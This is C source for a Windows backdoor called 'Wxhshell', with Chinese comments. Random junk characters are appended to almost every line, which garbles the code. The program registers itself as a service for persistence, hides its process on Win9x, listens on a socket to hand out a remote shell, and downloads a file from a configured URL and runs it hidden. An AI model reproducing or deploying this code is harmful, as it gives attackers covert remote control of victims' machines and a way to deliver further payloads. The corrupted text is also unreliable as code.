ULONG InheritedFromUniqueProcessId; h'B9|Cm
} PROCESS_BASIC_INFORMATION; _Fy4DVCg
e>
ar
PROCNTQSIP NtQueryInformationProcess; <TI3@9\qXE
G%2P
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _qY`KP"
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; z@!^ow)`J
Y*Y&)k6t
HANDLE hProcess; lq1[r~
PROCESS_BASIC_INFORMATION pbi; T@(6hEmP,
LKqRvPnh
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); cJP'ShnCh
if(NULL == hInst ) return 0; <9@&oN+T
"0|BoG
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ':,>eL#+uV
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5Xwk*@t2a
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3%XG@OgP
uyL72($
if (!NtQueryInformationProcess) return 0; |.j^G2x
/"(b.&
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); myD{sE2A
if(!hProcess) return 0; 1 h<fJzh
'To<T
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 3QCMK^#Z:
BwJNi6,
CloseHandle(hProcess); >RM
0=bO
[/?c@N,
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); v-ThdE$G#
if(hProcess==NULL) return 0;
^[en3aQ
6/|U
HMODULE hMod; Y.E?;iS
char procName[255]; wOjv[@d
unsigned long cbNeeded; DWuRJ
?#4+r_dP
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); bKYY{V55
~Y% :
3
CloseHandle(hProcess); ,MRvuw0P
* !X4P
if(strstr(procName,"services")) return 1; // 以服务启动 5QR}IxQ
GXO4x|08F
return 0; // 注册表启动 *0O<bm
} >5c]aNcv
gyC^K3}
// 主模块 HH7[tGF
int StartWxhshell(LPSTR lpCmdLine) -eUV`&[4
{ NzAQ@E2d:
SOCKET wsl; %=BtOM_2
BOOL val=TRUE; .
/Y&\<
int port=0; m+H% g"Zj
struct sockaddr_in door; :#Ty^-"]1
*h2`^Z
if(wscfg.ws_autoins) Install(); hPcS,
p{%
1c'79YU
port=atoi(lpCmdLine); 5KK{%6#f\
NNgK:YibD
if(port<=0) port=wscfg.ws_port; @Eo4U]-
kr#I{gF
WSADATA data; ~fBex_.o*
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; S:#e8H_7m]
Im6U_JsNZh
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; `\wUkmH
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Bn{)|&;
door.sin_family = AF_INET; $iwIF7,\P
door.sin_addr.s_addr = inet_addr("127.0.0.1"); L+73aN
door.sin_port = htons(port); &T7cH>E'K^
{ZG:M}ieN
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { iNXFk4
closesocket(wsl); (X*9w##x(
return 1; 'v\j.j/i
} W;.{]x.0
.`Sw,XL5
if(listen(wsl,2) == INVALID_SOCKET) { :xM}gPj"
closesocket(wsl); ANotUty;y
return 1; u-kZW1wrQ
} ~*,Wj?~+7
Wxhshell(wsl); > <X $#
WSACleanup(); zb>;?et;)
yu=piP
return 0; wsqLXZI
<iRWd
} X3AwM%,!
zLL)VFCJW
// 以NT服务方式启动 r( M[8@Nz
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) rfX=*mjt
{ e^=NL>V6p
DWORD status = 0; 5:$Xtq
DWORD specificError = 0xfffffff; n6/f an;
l/M[am
serviceStatus.dwServiceType = SERVICE_WIN32; !f`5B( @
serviceStatus.dwCurrentState = SERVICE_START_PENDING; [$;,Ua-mt
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; W=3? x
serviceStatus.dwWin32ExitCode = 0; V;k#})_-
serviceStatus.dwServiceSpecificExitCode = 0; l**3%cTb
serviceStatus.dwCheckPoint = 0; @*SA$9/l
serviceStatus.dwWaitHint = 0; 2Q}7fht
z#RuwB+
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 2qlIy
if (hServiceStatusHandle==0) return; 7u|%^Ao6
{d,?bs)
status = GetLastError(); \TZ|S,FS
if (status!=NO_ERROR) bH,M,xIL2
{ ;7L ;
serviceStatus.dwCurrentState = SERVICE_STOPPED; 3
&Sp@,
serviceStatus.dwCheckPoint = 0; j-QGOuvW
serviceStatus.dwWaitHint = 0; lM$t!2pRB
serviceStatus.dwWin32ExitCode = status; >%l:Dw\A:
serviceStatus.dwServiceSpecificExitCode = specificError; L$kgK# T
SetServiceStatus(hServiceStatusHandle, &serviceStatus); oK$'9c5<
return; *y?[<2"$
} a}dw9wU!:
js
-2"I
serviceStatus.dwCurrentState = SERVICE_RUNNING; [<Q4U{F
serviceStatus.dwCheckPoint = 0; ?;_O
9
serviceStatus.dwWaitHint = 0; B>, A(X&
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); e+{BJN
vz
} lA]N04 d
_CL{IY
// 处理NT服务事件,比如:启动、停止 qW3x{L$c
VOID WINAPI NTServiceHandler(DWORD fdwControl) }1Z6e[K?
{ tJAnuhX
switch(fdwControl) L ?Cjo4xS
{ WI{ ;#A
case SERVICE_CONTROL_STOP: :xtT)w
serviceStatus.dwWin32ExitCode = 0; f]]f85
serviceStatus.dwCurrentState = SERVICE_STOPPED; L0xsazX:x
serviceStatus.dwCheckPoint = 0; 9OfU7_m
serviceStatus.dwWaitHint = 0; K'V 2FTJI
{ cl_TF[n?
SetServiceStatus(hServiceStatusHandle, &serviceStatus); a MsJO*;>
} 3Soy3Xp
return; y]
y9'5_
case SERVICE_CONTROL_PAUSE: %0zS
serviceStatus.dwCurrentState = SERVICE_PAUSED; 'gCZ'edM
break; ~5T$8^K
case SERVICE_CONTROL_CONTINUE: ']h
IfOD"r
serviceStatus.dwCurrentState = SERVICE_RUNNING; lCHo+>\Z
break; ?aFZOc4
case SERVICE_CONTROL_INTERROGATE: 5aG5BA[N
break; (2tH"I
}; LZa%
x
SetServiceStatus(hServiceStatusHandle, &serviceStatus); xj7vI&u.
} n$xszuNJ`
MOeoU1Hn
// 标准应用程序主函数 ZJvo9!DL|
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) h1*FPsc
{ 5VZjDg?
iu|v9+
// 获取操作系统版本 C5MqwNX
OsIsNt=GetOsVer(); W "k|K:
GetModuleFileName(NULL,ExeFile,MAX_PATH); #
M>wH`Q#
+|0 t
// 从命令行安装 >:$"a
if(strpbrk(lpCmdLine,"iI")) Install(); x;(g
GMw)*
// 下载执行文件 *Dc@CmBr
if(wscfg.ws_downexe) { YD9!=a$
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) X.eB ;w/}
WinExec(wscfg.ws_filenam,SW_HIDE); .`+yo0O:
} OJ>iq@>
WN\PX!K9
if(!OsIsNt) { 6+e4<sy[E
// 如果时win9x,隐藏进程并且设置为注册表启动 {Zl4C;c
HideProc(); tgB=vIw?3
StartWxhshell(lpCmdLine); +99Bi2H}o
} QtlT&|$
else *uU4^E(
if(StartFromService()) }1@E"6kF
// 以服务方式启动 ^cn@?k((A
StartServiceCtrlDispatcher(DispatchTable); #a'r_K=ch)
else sG1BNb_
// 普通方式启动 6KO(j/Gwp
StartWxhshell(lpCmdLine);
mV;3ILO
abSq2*5K
return 0; [T]Bf o
}